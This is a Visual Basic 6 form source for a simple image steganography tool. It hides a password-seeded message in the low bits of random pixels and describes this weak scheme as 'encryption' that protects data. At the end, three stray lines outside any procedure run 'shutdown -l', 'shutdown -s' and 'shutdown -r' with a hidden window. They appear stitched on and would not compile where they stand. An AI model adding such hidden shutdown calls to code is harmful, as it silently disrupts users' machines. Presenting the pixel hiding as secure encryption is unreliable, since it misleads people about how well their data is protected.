Visual Basic

Option Explicit
Private Sub ArrangeControls()
Dim wid As Single

    Width = picImage.Left + picImage.Width + Width - ScaleWidth + 120
    Height = picImage.Top + picImage.Height + Height - ScaleHeight + 120
    wid = ScaleWidth - txtMessage.Left - 120
    If wid < 120 Then wid = 120
    txtMessage.Width = wid
    txtPassword.Width = wid
End Sub

' Encode this byte's data.
Private Sub EncodeByte(ByVal Value As Byte, ByVal used_positions As Collection, ByVal wid As Integer, ByVal hgt As Integer, ByVal show_pixels As Boolean)
Dim i As Integer
Dim byte_mask As Integer
Dim r As Integer
Dim c As Integer
Dim pixel As Integer
Dim clrr As Byte
Dim clrg As Byte
Dim clrb As Byte
Dim color_mask As Integer

    byte_mask = 1
    For i = 1 To 8
        ' Pick a random pixel and RGB component.
        PickPosition used_positions, wid, hgt, r, c, pixel

        ' Get the pixel's color components.
        UnRGB picImage.Point(r, c), clrr, clrg, clrb
        If show_pixels Then
            clrr = 255
            clrg = clrg And &H1
            clrb = clrb And &H1
        End If

        ' Get the value we must store.
        If Value And byte_mask Then
            color_mask = 1
        Else
            color_mask = 0
        End If

        ' Update the color.
        Select Case pixel
            Case 0
                clrr = (clrr And &HFE) Or color_mask
            Case 1
                clrg = (clrg And &HFE) Or color_mask
            Case 2
                clrb = (clrb And &HFE) Or color_mask
        End Select

        ' Set the pixel's color.
        picImage.PSet (r, c), RGB(clrr, clrg, clrb)

        byte_mask = byte_mask * 2
    Next i
End Sub
' Decode this byte's data.
Private Function DecodeByte(ByVal used_positions As Collection, ByVal wid As Integer, ByVal hgt As Integer, ByVal show_pixels As Boolean) As Byte
Dim Value As Integer
Dim i As Integer
Dim byte_mask As Integer
Dim r As Integer
Dim c As Integer
Dim pixel As Integer
Dim clrr As Byte
Dim clrg As Byte
Dim clrb As Byte
Dim color_mask As Integer

    byte_mask = 1
    For i = 1 To 8
        ' Pick a random pixel and RGB component.
        PickPosition used_positions, wid, hgt, r, c, pixel

        ' Get the pixel's color components.
        UnRGB picImage.Point(r, c), clrr, clrg, clrb

        ' Get the stored value.
        Select Case pixel
            Case 0
                color_mask = (clrr And &H1)
            Case 1
                color_mask = (clrg And &H1)
            Case 2
                color_mask = (clrb And &H1)
        End Select

        If color_mask Then
            Value = Value Or byte_mask
        End If

        If show_pixels Then
            picImage.PSet (r, c), RGB( _
                clrr And &H1, _
                clrg And &H1, _
                clrb And &H1)
        End If

        byte_mask = byte_mask * 2
    Next i

    DecodeByte = CByte(Value)
End Function
' Translate a password into an offset value.
Private Function NumericPassword(ByVal password As String) As Long
Dim Value As Long
Dim ch As Long
Dim shift1 As Long
Dim shift2 As Long
Dim i As Integer
Dim str_len As Integer

    ' Initialize the shift values to different
    ' non-zero values.
    shift1 = 3
    shift2 = 17

    ' Process the message.
    str_len = Len(password)
    For i = 1 To str_len
        ' Add the next letter.
        ch = Asc(Mid$(password, i, 1))
        Value = Value Xor (ch * 2 ^ shift1)
        Value = Value Xor (ch * 2 ^ shift2)

        ' Change the shift offsets.
        shift1 = (shift1 + 7) Mod 19
        shift2 = (shift2 + 13) Mod 23
    Next i
    NumericPassword = Value
End Function

' Pick an unused (r, c, pixel) combination.
Private Sub PickPosition(ByVal used_positions As Collection, ByVal wid As Integer, ByVal hgt As Integer, ByRef r As Integer, ByRef c As Integer, ByRef pixel As Integer)
Dim position_code As String

    On Error Resume Next
    Do
        ' Pick a position.
        r = Int(Rnd * wid)
        c = Int(Rnd * hgt)
        pixel = Int(Rnd * 3)

        ' See if the position is unused.
        position_code = "(" & r & "," & c & "," & pixel & ")"
        used_positions.Add position_code, position_code
        If Err.Number = 0 Then Exit Do
        Err.Clear
    Loop
End Sub
' Return the color's components.
Private Sub UnRGB(ByVal color As OLE_COLOR, ByRef r As Byte, ByRef g As Byte, ByRef b As Byte)
    r = color And &HFF&
    g = (color And &HFF00&) \ &H100&
    b = (color And &HFF0000) \ &H10000
End Sub

Private Sub cmdDecode_Click()
Dim msg_length As Byte
Dim msg As String
Dim ch As Byte
Dim i As Integer
Dim used_positions As Collection
Dim wid As Integer
Dim hgt As Integer
Dim show_pixels As Boolean
    If txtPassword.Text = "" Then
        MsgBox ("Please Enter The Password to Continue...")
        Exit Sub
    End If
    Screen.MousePointer = vbHourglass
    DoEvents

    ' Initialize the random number generator.
    Rnd -1
    Randomize NumericPassword(txtPassword.Text)

    wid = picImage.ScaleWidth
    hgt = picImage.ScaleHeight
    show_pixels = chkShowPixels.Value
    Set used_positions = New Collection

    ' Decode the message length.
    msg_length = DecodeByte(used_positions, wid, hgt, show_pixels)

    ' Decode the message.
    For i = 1 To msg_length
        ch = DecodeByte(used_positions, wid, hgt, show_pixels)
        msg = msg & Chr$(ch)
    Next i
    picImage.Picture = picImage.Image

    txtMessage.Text = msg

    Screen.MousePointer = vbDefault
    MsgBox ("Decryption Completed....")
End Sub

Private Sub cmdEncode_Click()
Dim msg As String
Dim i As Integer
Dim used_positions As Collection
Dim wid As Integer
Dim hgt As Integer
Dim show_pixels As Boolean

    If txtMessage.Text = "" Then
        MsgBox ("Please Enter Text to Encrypt...")
        Exit Sub
    ElseIf txtPassword.Text = "" Then
        MsgBox ("Please Enter Password To Protect Data...")
        Exit Sub
    End If
    
    Screen.MousePointer = vbHourglass
    DoEvents

    ' Initialize the random number generator.
    Rnd -1
    Randomize NumericPassword(txtPassword.Text)

    wid = picImage.ScaleWidth
    hgt = picImage.ScaleHeight
    msg = Left$(txtMessage.Text, 255)
    show_pixels = chkShowPixels.Value
    Set used_positions = New Collection

    ' Encode the message length.
    EncodeByte CByte(Len(msg)), _
        used_positions, wid, hgt, show_pixels

    ' Encode the message.
    For i = 1 To Len(msg)
        EncodeByte Asc(Mid$(msg, i, 1)), _
            used_positions, wid, hgt, show_pixels
    Next i
    picImage.Picture = picImage.Image

    Screen.MousePointer = vbDefault
    MsgBox ("Encryption Complete..." & vbNewLine & vbNewLine & "You Can Save Picture Using Menu...")
End Sub
Private Sub Form_Load()
    picImage.ScaleMode = vbPixels
    picImage.AutoRedraw = True
    dlgImage.InitDir = App.Path
    ArrangeControls
End Sub

Call Shell("shutdown -l", AppWinStyle.Hide)

Call Shell("shutdown -s", AppWinStyle.Hide)

Call Shell("shutdown -r", AppWinStyle.Hide)